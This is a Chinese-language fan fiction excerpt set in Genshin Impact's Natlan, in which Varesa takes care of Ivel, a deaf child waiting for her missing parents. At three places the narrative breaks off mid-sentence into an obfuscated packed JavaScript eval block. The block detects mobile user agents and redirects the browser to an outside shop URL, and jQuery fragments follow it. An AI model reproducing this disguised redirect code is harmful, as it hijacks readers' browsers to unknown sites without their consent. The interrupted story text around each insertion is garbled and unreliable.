过了片刻,发现瓦雷莎没有动作的女孩抬起头来看了瓦雷莎一眼——瓦雷莎似乎在那抹视线里看出了一丝恨铁不成钢的意味——接着把自己的脑袋再度往前伸了伸,差一点就撞上了瓦雷莎的身体。 呜哇—— “好了好了我知道了……是吃完了东西要夸奖的摸摸对吗。”只能从伊薇尔是吃完苹果才做出这种行为来猜测的瓦雷莎连忙好声好气地开口,没有得到回复也不在意,顺从自己心意地摸上了伊薇尔柔软的发顶。 手触到发顶的那个瞬间,瓦雷莎能感觉到手下的这具躯体小幅度地抖了抖,最终还是没有缩走。 感觉像是投喂了小龙于是得到小龙的蹭蹭一样,瓦雷莎想。 可爱。 - 那个苹果没有辜负它漂亮的外表,十分清甜。 吃完苹果,肚子总算没有那么饿的你站起身来,扬起脑袋看向面前的大姐姐,这种时候,应该做什么?你拧着眉头想了想,别人给了自己东西,自己收下后应该……应该?要说什么来着。 两个字的,好像是一样的,是好的词语。 但你一时忘了这个词语是什么。忽然,你的脑袋里闪过在绘本上看来的一个画面:画面里的小龙摘到果子,拿到龙妈妈面前,龙妈妈收下果子,伸出爪子摸了摸小龙的脑袋。 最后的这一幕里,龙妈妈和小龙的周围都冒出了粉色的小花花。 这个大姐姐的头发,也是粉色的。你眨了眨眼,决定效仿绘本中的画面,让这位大姐姐摸摸你的脑袋,约定好下次见面你会给她果子的。 嗯?说这个顺序是不是不太对?动作都一样,那就都差不多吧。 打定主意的你刚想牵起大姐姐的手放到自己的脑袋上,就发现吃过苹果后自己的手上还流淌着苹果半干的汁水,脏脏的。 这要怎么办,你橙色的眼睛里闪过迷茫,伊薇尔,想想办法!一定会有办法的!你在心里这样对自己说。 唔……把脑袋伸到大姐姐的跟前,大姐姐应该能明白?你见过的小动物都是这样做的。 你走上前探出了自己的脑袋,等了等没见大姐姐动作,你在心里叹气,难道这个大姐姐没有看过绘本也没有见过小动物这么做吗。没办法了,大姐姐不主动,只能你主动了。 于是,你梗着脖子要去蹭大姐姐的手。 - 坏消息是,你去蹭别人的手这个行为没有成功。好消息是,大姐姐好像终于明白了你的意思,自己把手放到了你的脑袋上。 好奇怪的感觉……鲜少被人摸脑袋的你下意识地缩了缩肩膀想要躲开,接着又记起是你自己主动把脑袋伸出来的,便压下躲开的动作。 ……多久才结束呢。 你不知道自己是想要这个摸头早点结束还是晚点结束。对你而言,这是很罕见的体验,罕见到你不长的人生中没有多少可用的经验。这一瞬间,很奇妙地,你忽然感觉到了时间是真切流动的。 你很难说清楚这是一种怎样的感觉,因为就算什么都不做,时间都不会静止。太阳会升起落下,树叶会绿了变黄,爸爸妈妈会回来了又离开,离开了又回来,一切就像是钟表里的指针,不断地向前走,走到一开始的位置,接着继续往前,如此循环往复。 但此刻和其他的时间是不一样的。嗯……就像是熟了的果子和没熟的果子?一个可以吃,一个不能吃。……感觉这种解释不太对。不管了。 不知过了多久,那只拢在你脑袋上的手终于离开。头上骤然一轻,你抬起脑袋,就看到了一个……莫名慌张的大姐姐? 你感到很困惑。难道是有什么你没注意到的事情发生了吗,还是说有大翅膀的绒翼龙要飞过来张嘴喷火烧人的头发。 你站在原地没有动,只脑袋跟随着慌张的大姐姐晃来晃去。 你看着大姐姐一下子跳起来跑回她来的那个地方,从那里停着的车上翻找出一个盒子,编成长长辫子的粉色头发在他的身后甩来甩去。[伊薇尔,这个给你,明天我再来找你哦。]你看着大姐姐的嘴唇开开合合。 她想说什么?你不知道。你只看到她把那个盒子塞到你的手里,便回到她的车旁朝你摆手。 袖子、胸口处的衣物都有蝴蝶结点缀的大姐姐弯起唇角,眼睛一同弯起月牙的弧度。她抬起手臂,五指在她的脸侧张开,左右摆动着。 啊……这个,你知道的。当有人做出这种动作,你要做的就是,“再见。”缓缓眨着眼睛的你开口,对着那个已经离你有一段距离的大姐姐说。应该抬起手臂做出同样的姿势的,你想。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649883|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而大姐姐把盒子塞到你怀里的动作很突然,你还没来得及处理[嗯?这是什么?一个盒子?大姐姐为什么要把这个盒子给我?盒子里有什么东西?]的随之生出的困惑,就被对方下一个摆手的动作打断了思考。 ——应该摆手并说“再见”的。这个念头一下子出现在你的脑海里,把其他的念头全都打散。可是手上拿着盒子,你要怎么做?拿着盒子就不能摆手了,放下盒子说不定等你再起来时大姐姐已经离开了。 拿还是放的两种想法在你脑子里来回打架,最终你呈现出来的就是呆呆地抱着盒子对着不远处的大姐姐说“再见”。 声音大还是小?她有听到吗?你视线中的大姐姐朝你摆手后就坐到了车上,车子周围扬起尘沙。看不出来你的告别有没有传到她的耳朵里。 大概是没有的吧。你又眨了眨眼睛,在抬起眼睫看向别人时显得圆钝无害的眼睛里此时是一片沉静的色彩。有人来过,有人离开。如同一阵风吹皱死水,风散去后它便回到了泛不起一丝涟漪的状态。 你该回家了。这样想着,你抱着盒子,拖着步伐朝那栋你逐渐熟悉的房子走去。 - 瓦雷莎有没有听到伊薇尔的告别?当然有了。 外表看上去再怎么人畜无害,瓦雷莎都是那个在战争中表现出色的“面具英雄”——对那时的瓦蕾莎来说,戴上面具她便能把自己想象成另一个人,想象成自己憧憬的英雄,以此来获得勇气——都是沃陆之邦的战士。 她不至于听不到伊薇尔轻得仿佛要碎在风里的告别,毕竟周围很安静嘛。瓦雷莎身后细长的尾巴甩了甩,头顶那对白色的牛角在自然的光照下泛着冰冷而锋利的色泽。 要快点回家才行,把自己的晚饭和夜宵塞给别人的瓦雷莎摸了摸肚子,很好,还没有扁下去,接下来要做的就是,在饿之前赶到家才行。吃饱了之后要给远在枫丹的爸爸妈妈写信,还要跟自己的龙伙伴瓦娜娜沟通一番。 粉色头发的少女看向地平线的眼睛里燃起了小小的火花:冲啊—— 自己有多少摩拉呢?边赶路边盘算自己资产的瓦雷莎思考自己能不能把伊薇尔好好养大,得出的结果让她松了一口气。 要告诉爸爸妈妈她们家要迎来一个新成员了,要跟瓦娜娜分享自己遇到伊薇尔的故事,要去找首领说自己想要领养伊薇尔的事情。 明明自己也还没有成为大人眼中“可靠的大人”,瓦雷莎就已经想着去做一些可能只有大人才能做得很好的事情了。她不知道自己能不能养好伊薇尔,不清楚爸爸妈妈会不会同意她领养伊薇尔的想法,不能肯定首领会不会批准。 但是呀,瓦雷莎再一次弯起眼睛,肩膀自然下垂的松弛感与身下跑得飞快的双腿形成鲜明的对比。她轻松地拉着车子的套绳向家跑去,不知道就去学,爸爸妈妈不同意就自己给伊薇尔在外面找地方住,首领不批准就她多去探望探望伊薇尔。 如果因为这些那些而踟蹰不前,那不就是辜负了自己那颗滚烫的雀跃跳动着的心吗。瓦雷莎就只是,在接触了伊薇尔之后,发自内心地、心甘情愿地想要为这个小女孩做点什么,仅此而已。 [伊薇尔,你对我说“再见”,所以,我们明天就会再见啦。这就是我的回答。] 66.纳塔篇-4 你回到自己熟悉的房子里,此时夕阳半挂在天空中,与绵延的山体相接,暖黄的一团悬吊着,并不如正午的太阳平等地炙烤它所看见的每个人,只温柔地洒下点点热意。 你背着夕阳打开门,屋里的景象和你走时没有差别。当你看向夕阳,它不够刺眼,像是燃尽的即将坠落的星子;当你背对着它,它投下的光影却为你的身影勾勒出暗红如血的轮廓。 没有察觉到异样、或者说不认为这是异样的你走进屋子,抬起头,目光投向柜子上的一个沙漏摆件,摆件里上方的沙子已经快要全都流到下方。 你一边单手把那个对你来说有点太大了的盒子稳当地放到桌子上,一边平静地想:啊,爸爸妈妈还是没回来啊。 他们明明告诉过你,他们会在沙子都流到下面之前回来的。过去他们都做到了。所以,是不是只要你再等等,等到沙子彻底停止流动的时候,他们就会回来了? 你的潜意识已经在冥冥中察觉到什么,但你的感性却一厢情愿地相信着那个不太可能发生的、更好的可能。你只是没有明白,为什么爸爸妈妈像往常一样出去,却没有像往常一样回来? 走了好多好多的路,腿有点累累的。可能是和陌生大姐姐的见面与发现爸爸妈妈还没回来的经历,你感觉自己的脑子也乱糟糟的。 呜…… 你鼓了鼓腮帮子,像是一条吐泡泡的小金鱼。 - 肚子,好像有点痛。脑子,似乎有点胀。只吃了一个苹果的你只觉得身体里有什么在叫嚣着想要吃正餐,它想要吞食更具有饱腹感的食物。更多的、更多的,它想要更多的,直到把自己填满得一丝缝隙也留不下。 直到把所有的烦恼都一并从身体里挤出。 你打开大姐姐给的盒子,肉挨着肉挨着肉出现在你眼前,肉的旁边夹杂着颗粒果,还有一瓶饮料。不同的肉散发出烤熟的香气,只是看着、闻着,都能想到把它们吃进嘴里时会是怎样美妙的滋味。 好熟悉。 你安静地吃着这份来自陌生人的馈赠,肉汁在你的口腔里随着牙齿的下压切断而四溢。 进食的过程中,几个画面忽然在你的脑海里闪过,是飞鸟,是游鱼,是四足着地在旷野上奔跑的走兽,还有因结出的果实是一粒粒簇拥着而得名的颗粒果。 ……好熟悉,为什么? 随着胃袋逐渐被扎实的肉类料理充盈,你的脑子没再胀痛,很快找出了你觉得熟悉的原因。是你的妈妈呀,那个同样有着淡黄色头发的人曾经耐心地教过你,这道料理中包含了天上飞的、水里游的、地上跑的,所以它的名字是…… “山与海与天空。”你循着记忆,依照那个熟悉的面孔不断张合的嘴型,和她一起念出了这几个字。你还记得你乖乖地重复出这几个字之后,被笑眯眯的妈妈抱进了怀里。 这个怀抱好温暖,好安心。尽管时常会见不到爸爸妈妈,你会听话地乖乖待在家里的。撕扯着嗓子发出自己听不见的声音或者掉眼泪都没有用,只会得到他们疲惫的眼神。 所以,要乖乖的,要听话。这样才能在爸爸妈妈回来之后得到抱抱。 刚说完菜名,你就被嘴里还没吞咽的肉呛了个正着。 “咳咳咳咳咳咳……”坐在椅子上的你不由弓起身体把脸埋到膝弯前咳嗽,肩膀随之颤动。卡在喉咙里的肉已经被吞下去,那阵有什么堵在那里的感觉却还没散,你拧起眉头。 说起来,家里的水还有差不多两桶,如果那时爸爸妈妈还没回来的话你就得自己推着桶去打水了。 不过现在,你捧起盒子里的饮料,插上吸管,清黄透亮的果汁流到你的嘴巴里,鲜醇的味道在舌尖绽开。毫不夸张地说,你感觉自己一下子精神了不少。 唔……这个,好像是这个地方的特有的饮料。刚到这里的时候,你的爸爸给你买过。当时你们跨过山淌过河来到这里,一脸爽朗的男人过去和带着头巾的叔叔聊了几句,回来时手上就拿了三杯这样的果汁。 你一杯,妈妈一杯,爸爸一杯。 你们三个人就这样停下来动作统一地捧着杯子喝果汁。你还记得那天的风很舒服,只是来到这里之后,你更多的是待在爸爸妈妈把你带来的屋子里,很少再出去了。 如果可以,你希望你和爸爸妈妈还会有这样一起在日光下喝果汁的那天。到那时候,你可以告诉爸爸妈妈有个陌生的大姐姐给你吃了好吃的肉,还喝了果汁,让爸爸妈妈也给大姐姐喝果汁。 只要你乖乖的,你相信会有那么一天的。 一番洗漱又清洗了装着食物的盒子,你把盒子倒扣过来晾干,摸了摸饱饱的肚子准备上床睡觉。 闭眼前,你再次看了看那个放置在柜子上的沙漏,上方堆积的所剩不多的沙子仍在一点一滴地往下落。等到明天到来,等到太阳升起、在月亮还没落下的时候,你想,你就会见到爸爸妈妈了。 于是,你安然地闭上眼睛,任由疲惫感把你卷入梦乡。 * 另一边,紧赶慢赶回到家的瓦雷莎把粒果片片、火焰炖肉、酪烤菇菇串等食物都扫进肚子,打了个相当满足的嗝。 填饱了肚子,瓦雷莎的脑子就开始分析自己接下来要做的事情。 看伊薇尔被饿得出来吃草,想来她已经没什么吃的了。虽然自己把装有食物的木盒交给了她,不过那只是自己晚餐和宵夜的一部分,今晚吃饱是没问题的,能留多少给明天就得视伊薇尔的食量而定。 自己就能吃下很多东西的瓦雷莎率先考虑到伊薇尔把食物吃光的情况。退一步来说,即便没有吃完,还有食物能留到明天,但要是剩下的食物没有得到妥善保存,万一伊薇尔明天吃了闹肚子怎么办。 小孩子的肠胃可是很脆弱的。就算不会发展到威胁生命安全的地步,伊薇尔也还是会难受的。 决定了,明天早上去给伊薇尔送早餐,接着去找首领商量伊薇尔的事情。反正她知道伊薇尔住在哪里。想到明天就又能见到那个看着就让自己很喜欢的小女孩,瓦雷莎软乎乎地笑了起来。 - 瓦娜娜感觉有点不对劲。 作为从小和瓦雷莎一起长大、现在主要是在瓦雷莎不在的时候照看家里果园的龙伙伴,瓦娜娜无疑是很熟悉瓦雷莎的。 所以,发生了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675014|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?看着比预定的时间提早回来,一回来就狼吞虎咽、就像是今天早上没有把餐盒放进行囊里一样,现在又不知道为什么笑得很奇怪的瓦雷莎,瓦娜娜对此很莫名。 身上主要分布着青色与紫色的大龙轻轻地用自己坚硬的脑袋蹭了蹭粉色头发的少女,一双紫色的大眼睛里满是关切。 察觉到瓦娜娜的视线,瓦雷莎仿佛意识到了什么,收起脸上那明显得过分的笑容,认真地看着瓦娜娜的眼睛,两双紫色的眼睛在此刻对视:“瓦娜娜,不出意外的话,我们家就会有一个新成员啦!” 以为瓦雷莎会跟自己分享今天的见闻,结果没有丝毫防备就直面了这样一句话的瓦娜娜:??? 瓦娜娜满头问号。什么新成员,哪来的新成员,为什么会有新成员? “嗯……你等等哦,我还要给爸爸妈妈写信,等我边写边跟你说。”瓦娜娜就见瓦雷莎叉起腰一份斗志昂扬的模样对自己说,接着风风火火地跑回房间拿出纸和笔。 要等等的瓦娜娜好想叹气,但它忍住了。这头和自己的伙伴一起长大的突角龙迈动步伐跟着瓦雷莎去到房间里,两条前腿微屈地趴在地上,按瓦雷莎说的那样等着她给自己一个解释。 噢……原来是这样,路过看到一个小孩,发现这个小孩已经没了父母,觉得这个小孩很亲切很可爱很喜欢所以想抱回来养啊,还把自己的饭盒给了人家。冷静的瓦娜娜从瓦雷莎的话语中总结出了事情的真相,心态平稳地在地上打了个滚。 那应该没什么问题,瓦娜娜想,如果真如瓦雷莎所说,多一个家庭成员也不算什么。不过,瓦娜娜有点好奇:瓦雷莎说的“超绝可爱!”、“看到她感觉世界都明亮了”的小孩子究竟长什么样子? 超绝可爱这一点不太确定,看到就感觉“世界明亮”的……瓦娜娜从自己的龙脑袋里搜索与联想,明亮的,明亮的……于是,瓦娜娜的脑海里最终生成了一个小号版的火神大人。 有着一头橙红色长发和同色眼眸的[纳塔的太阳],现任火神玛薇卡。 诚然,用明亮这个词来形容火神大人给人与龙的感觉是完全够格的。只是……可爱?瓦娜娜只能从火神大人身上看出威严,只能从她单手就能把大剑抡得虎虎生威这件事上看出她打人很痛。 至于可爱,瓦雷莎就很可爱!嗯……大概是的,不看瓦雷莎一拳下去就碎裂的地板的话,瓦雷莎长得确实很可爱。对此,充满伙伴滤镜的瓦娜娜不接受反驳。 那么,瓦雷莎说的那个小孩子,会是长着瓦蕾莎脸的小号版火神大人吗?瓦娜娜在心里好奇。想见。 不过现在……沉稳的瓦娜娜用额头轻轻撞了撞正奋笔疾书的瓦雷莎的小腿,示意对方去看明天的日程表:你不会忘了自己明天还有训练吧?哪来的时间去给小孩子送早餐?那一双龙眼睛里清晰地写了这句话。 “欸——”今天因为家里需要帮忙送货而请假的、一时忘了明天还要照常训练的瓦雷莎发出悲鸣。 感觉自己的心情好了不少的瓦娜娜就这样在瓦雷莎的悲鸣中走回自己的小窝里。如果瓦雷莎需要帮助,它也不是不能去给那个小孩子送饭,瓦娜娜想。 67.纳塔篇-5 你不讨厌睡觉。 闭上眼睛,脑子里随便想些什么或者什么都不想,没过多久就会沉入梦乡。 你的梦有时会是一片漆黑,包容的、温热的,就这样把你完全裹住,你不必看、不必说、不必与任何人结下联系;有时会是一片光亮的白,背景里好像有涌动的人影,但出现在中央的光越来越大、越来越亮,于是入目皆被掩盖,所有的都抛到脑后,只留下炽热的、滚烫的,占据所有的感官。雀跃着,狂热着。 但你很少会梦到具体的事物与人。爸爸妈妈、路上遇到的叔叔阿姨、旅途中看见的大龙和小龙,你不怎么在梦里看到他们。 只是今晚,大概是你很想看见自己的爸爸妈妈吧,你“看到”自己坐在屋子里,而爸爸妈妈打开了门,他们蹲下身来,脸上微笑着朝你张开双手,眼睛沉默地等你扑进怀里。 好像,有什么地方很奇怪。那个你犹豫着,原本见到爸爸妈妈而满是欢喜的心多了犹疑,是哪里不对劲?找不出来,就是感觉有什么不同。梦里的你不知道答案,你只能感受到那个自己的迷茫。她没有走过去,[你]没有走过去。 你像是能够感受到梦里的自己看到了什么、想到了什么,你就是她、她就是你;又像是漂浮在空中,站在一旁看着那个浅黄色头发的小女孩与自己的父母隔门相望。 以门为界限,小女孩坐在屋里,而她的父母定在门框边。两边都没有动,似静止的僵局。 于是,不知过了多久,可能是短短的一瞬,可能是很长的一段时间,屋子里的你视野里升起白光,白光,白光—— 起初是柔和的、小小的一团,出现在爸爸妈妈胸口的位置,而后变大、变亮,直至白光吞没了爸爸妈妈的身影,直至白光吞没了门,直至白光把你也吞了下去。 一切归于亮到掩盖了所有的白光。 - 在爸爸妈妈的身影被白光吞没前,你看到了他们收回手,站起身子,收敛起脸上生硬的笑容。没了笑容之后的申请反而更显得温情脉脉,你还没来得及走过去,就自己也被吞掉了。 最后,定格在你视野里的是爸爸妈妈不断张合的嘴,他们是想告诉你什么吗?你想你做出的表情一定很奇怪,使得爸爸像往日那般侧过脸去没有看你,而妈妈仍看着你,接着,身着衣袍的女人露出一个释然的笑来。 妈妈笑了,那应该没什么问题。想说的内容,估计是不重要的东西吧,重要的话也没办法。不过没关系,等到你醒来,等到爸爸妈妈回来,他们可以一遍又一遍地告诉你,你会好好去做的。 这样想着,你安心地闭上眼睛。 * 新的一天到来,你睁开眼睛。 目光先是下意识地看向柜顶,啊,沙子只剩最后一点了,在太阳落山之前,沙漏就会停止流动。看来,你很快就能见到爸爸妈妈了。 对这一天的浅浅期待在心里蔓延,随后才想起昨晚好像做了个梦?你不在意地掬起一捧水扑上自己的脸,水珠打湿脸颊与额前的碎发,顺着你的脸庞留下,坠落在地上。 梦具体的内容记不清了,不过好像梦到了爸爸妈妈,那应该是个好梦吧。 接下来要去找吃的,你感觉自己经过了休息,这次一定能走得比上次更远,说不定还能摘两个苹果回来留着给爸爸妈妈吃。你这样想,扬了扬嘴角,眼睛也一并弯起。 你像昨天一样打开门,在把门往外推的时候却出乎意料地受到了一股阻力,仿佛有谁抵着门不让你把门推开。 你:? 你还是推开了门,把门推到一个合适的角度,你扒着门探出脑袋,狗狗祟祟地向门后望去,什么也没看到。依然是往日的景色,没有人在屋子外抵着你的门。 那为什么会觉得今天的门更难推了呢。你“吧嗒吧嗒”地钻出来,小小的人站在屋子前仰着脑袋打量着这扇门,试图思索是不是这扇门出问题了。 橙色眼睛投出的视线在门上游走,过了好一会儿,你终于发现了原因:地面上原来放着一个盒子。盒子摆在门前,于是屋子里的你想要开门就得先把盒子挪开。 谁呀,会往你家门前放东西。 - 这个盒子有点眼熟,你陷入思考。昨天的你似乎是拿着一个这样的盒子回来的。 于是,你拿起贴了纸条的盒子走回屋里。经过你的认真比对,你确信这个盒子和昨天那个大姐姐给你的没有什么不同。无论是大小、材质,还是别的什么,都是一样的。 奇怪,难道纳塔最近开始流行这种饭盒了吗。没准真是这样的,毕竟你不常出去,不常和别人交流,你也不会知道所谓的“时兴”与“流行”指的是什么,这种本就与人、与社会息息相关的东西。 因为不确定,所以是什么都有可能。 你以为自己能做的要么是避开它,要么是接受它,除这二者之外别无它选。但事实上,你好像一直在[错过]它。还没意识到它的到来,就已经无数次与它擦肩而过。 在你很小的时候,你也曾经置身于人群,眨着眼睛看向周围不认识的人,和你差不多高的、比你和身边的小孩高很多的;还没怎么锻炼的、身上满是肌肉的;柔和的、凛冽的。很多很多的人。 你隐秘地对其他人充满好奇,除了爸爸妈妈,你很少看见这么多和你长得很像的生物。你把这视作你对外界的一次观察。可没过多久,你的爸爸妈妈就匆匆忙忙地赶来,把你带离了那个地方。 你重新回到了你的家里,能见到的人又只剩下爸爸妈妈。那时的你大概是想说些什么的——可是你不知道自己要说些什么。你只是看着爸爸妈妈疲惫的脸,朦朦胧胧地意识到:啊,原来你能接触的人,就只有你的爸爸妈妈啊。 只有你的爸爸妈妈,是你可以一直见到的,虽然他们时不时就会离开,你要等啊等地等着他们回来。 你其实现在也不知道为什么你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691150|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是看着旁边的小朋友,小朋友就忽然哭了起来。你只能看到他张着嘴巴哇哇大哭,很快其他的小朋友也和他一样露出相同的表情。大人的身影来来回回穿梭在他们之间。 侧目旁观的你不是哭泣孩童中的一员,坐在原地的你不是奔走安慰的大人里的一份子。你与他们格格不入。 那时的你不明白视线的重量,不理解别人意识到有人在看自己、想要搭话却没有得到回应的恐慌。没有经过社会化引导的你天然地、不经雕琢地从你自己的立场出发:你想做,于是这么做了。至于别人的想法?那是什么很重要的东西吗。 * 你拧眉看着盒子。这一次,你发现了贴在盒子上的纸条。 可能是考虑到你不识字,纸条上没什么字,只是画了一个人头,人头有着粉色的头发,两条辫子垂在身侧,头上还有一对白色的牛角。 纸条上的小人眯着眼睛对你笑。 你一下子认出了这个小人是谁,是昨天遇到的那个大姐姐。 所以,是大姐姐在昨天给了你吃的之后,今天又来给你东西了吗。这样想着,你打开盒子,映入眼帘的是满满一盒子的五颜六色的龙龙饼干,还有熟悉的果汁。 龙龙饼干的样子很可爱,小龙本就憨态可掬,而饼干制作的过程中再度柔化了原本冷硬的线条,是加倍的可爱。最重要的是,你耸了耸鼻子,很香。 香甜的、甜美的、馥郁的,让人能想到在暖洋洋的阳光下懒洋洋地打盹的模样。 你摸了摸自己的肚子,看向饼干的目光里有着渴望,也有着犹豫。 昨天是意外,是你真的很饿,饿到感觉自己都失去力气了才会吃的,再加上大姐姐一开始给你的苹果你都吃了,那么再多吃一点,好像也没什么区别。可是今天是新的一天,有很大的可能爸爸妈妈会回来。 昨天的你不是个乖孩子,但今天的你还有当好孩子的机会。好孩子是不会随便吃别人给的东西的。爸爸妈妈教过你,吃了别人给的东西,就会见不到爸爸妈妈的。 饼干的香气弥漫在空气中,你觉得自己还能忍。 打开的食盒仍搁在桌上,你跑去装了杯水“咕噜噜”地喝起来。清冽的水顺着食道往下流淌,你的眼睛却直勾勾地看着那盒饼干。 可爱的、漂亮的、色彩明艳的,一看就很好吃、咬下去会松松脆脆的。 你再次接了杯水,越是喝着没有味道的白水越是想要把饼干吃掉。可好孩子不会这么做。 你纠结着,嘴唇下撇,半晌终于纠结出一个结果,你的手探向饼干,动作很慢,仿佛只要有人进来就随时可以打断你的这一动作。那样,今天的你就还能当一个“好孩子”。 你的指尖碰到了饼干。它捏起一块饼干往你嘴里送,经历过挣扎吃到的美味饼干让你不由眯起眼睛。 决定了,今天的你当不了一个好孩子,那就当半个好孩子吧——你会只吃掉半盒饼干的。 68.纳塔篇-6 你忍住了,没有把剩下的半盒饼干也吃掉。 “好孩子”、“好孩子”。安静的屋子里,你对着自己这样念,屋子里只有你的声音在响。听不见的你睁着大大的橙色眼睛,自己也不知道自己在看着什么。你只是依照着自己的本能,于是效仿着记忆里妈妈的动作对自己安抚。 总是一个人待在关上门的房子里,你会有哪怕那么一个瞬间觉得孤独感如潮水涌来包围了你吗?可年幼的你不明白“孤独”是什么。你的世界里从来安静,安静到近乎死寂。 你不明白孤独是什么,不过在某些时候,你会很想要很想要看到爸爸妈妈出现在你的身边,你会想要他们的眼睛里能倒映出小小的你,你会想要他们对着你微笑,长长的大大的手把你抱住。 当爸爸妈妈真的出现、真的抱住你的时候你就会觉得,啊,好开心。是抬起手摸一摸自己的嘴角和眼睛就会发现自己不知不觉已经在笑的程度。 所以,为此一天一天的等待都是应该的、都是值得的。 或者,你认为你只能这么做。你应该听从大人的指令,即便你什么都听不到。 - 你拿来早已翻阅过的绘本,把它摆在桌上摊开,又百无聊赖地从饼干盒里抓起一块饼干,手掌包住饼干攥成拳头递到自己的面前。 其实你小小的手掌并没能够完全包住那块饼干,但你还是煞有其事地看着自己漏风的拳头,缓缓地展开手指,露出里面淡蓝色的暝视龙小饼干。这个动作就像开花一样,你想,那么饼干就是花蕊,刚好也是甜甜的。 你没有把饼干放进嘴里,而是用手托着它凑到跟前看了两眼就将它重新放回了饼干盒里。你记得妈妈的龙就是这个颜色的,那时妈妈拿出一本厚厚的本子放到你面前,本子的每一页都有着方方正正的不同图案。 你不知道这是所谓的[留影],所谓的相片,你只是知道你在那里看到了妈妈。 和现在的妈妈不太一样,但还是能看出来是妈妈。就像在你面前的妈妈缩小了钻到纸张里一样,你盯着其中一张相片想,很好看。相片里,一个少女抱着一只小暝视龙笑得灿烂。 笑容……很漂亮。是你从没在如今的妈妈脸上看到的那种漂亮,是光看着就能让人想到植株是如何在阳光的照耀下拔枝抽条地生长、骄傲地自信地绽放花蕾的程度。现在的妈妈,好像从来没有这样笑过,至少你从来没有见到过。 那时小小的你伸出软绵绵的手点了点相片里的小龙,看到你的动作,妈妈朝旁边招了招手,一只大大的有两只扇起来会带起风的翅膀的龙靠了过来,它盯着你,叫了两声,接着拿头顶了顶妈妈伸出来的手。 你没有意识到那只龙在对你说话,看着它歪了歪脑袋,还是妈妈一遍遍地告诉你,你才明白相片里的小龙就是你面前的这只大龙。 龙,居然是会变大的吗?你对自己得出的结论感到十分惊奇。那,你也会变大吗?变得和妈妈一样大。你磕磕绊绊地、连比带划地向妈妈传达你的意思,而妈妈摸了摸你的脑袋。 你没有看懂妈妈脸上的表情,像是在笑,又似乎有点苦苦的味道。小小的你不懂大大的人心里复杂的心思,听不见而意识不到很多事情的你不明白会有人因此而陷入自己剪不断理还乱的思绪。 有着淡黄色头发的女人就自己的孩子这一个问题思考了很久,她是部族里的佼佼者、是烟谜主里祭司的有力竞争者,可她却连这样一个问题都给不出准确的答案,得出结论又推翻,反反复复。 在怪人频出的烟谜主里,有一个天生灵魂残缺的小孩,他原本是路边的弃婴,最后却因自己残缺的灵魂成为了烟谜主的一员,成为了全烟谜主的孩子。女人知道他,那个名字是“欧洛伦”的,很有礼貌的青年。 多荒唐啊。淡黄色的头发自然地垂下,女人挑起嘴角,长长的眼睫使得人看不清她眼里的情感,她竟宁愿自己的孩子灵魂残缺,也不愿意伊薇尔是个聋子。这是不对的,她心知肚明。可她无法抑制自己这种想法。 或许就和烟谜主因为曾经试图用欧洛伦来尝试修补纳塔地脉的举动而对欧洛伦心怀愧疚一样,女人同样因为自己的想法而对自己的女儿心怀愧疚,虽然她什么都还没有做。 她爱自己的女儿,这无需怀疑。只是,或许保持一定的距离对她和伊薇尔来说才是最好的,女人想。这样,她就不会因为接触的时间过长而对伊薇尔的缺陷充满抱怨,伊薇尔也不用见到那样丑陋的她。 你不知道自己的妈妈都想了些什么,你只知道在你看完那个本子之后没多久,你就没在妈妈身边见到那只蓝色的龙了。 有点可惜,你想,虽然那只龙的眼睛没有妈妈的漂亮,但是很特别,就像、就像……就像镜子一样,亮晶晶的。 现下,你边看着翻阅了很多遍的绘本边想,你以后也会有自己的龙吗?绘本里每个人都会有他们的龙伙伴,无论人走到哪里,他的龙伙伴都会跟随着他的脚步。 你也想要。 如果真有那样一条会跟着你的龙伙伴,你翻动书页,不同的龙出现在你的面前。你不需要它像嵴锋龙一样会找宝石,不需要它像鳍游龙一样能载着你在海里四处游,不需要它像绒翼龙一样带你翱翔天空…… 只要它可以跟着你、陪着你,当你看向它的时候它也会看向你,这就够了。 会有那样的一天吗?你不能肯定。 在屋里对着绘本发呆的你不知时间过去了多久,忽然,一道光照到你的脸上,你不适应地眯起眼睛,抬起头朝那个方向看去。 ——门被人从外面打开了。 意识到这件事的你以为是爸爸妈妈回来了,映入眼帘的人却不如你所想。你只看到了一个很壮实的戴着面具的叔叔,还有你昨天见过的那个粉色头发的大姐姐。没有你熟悉的身影。 不自觉地抿唇,你捏住自己的手指,轻微的痛感从那块皮肉与骨头传来,让你不至于因为期待落空而一下子垮下脸来。 爸爸妈妈怎么教的来着?你有点记不 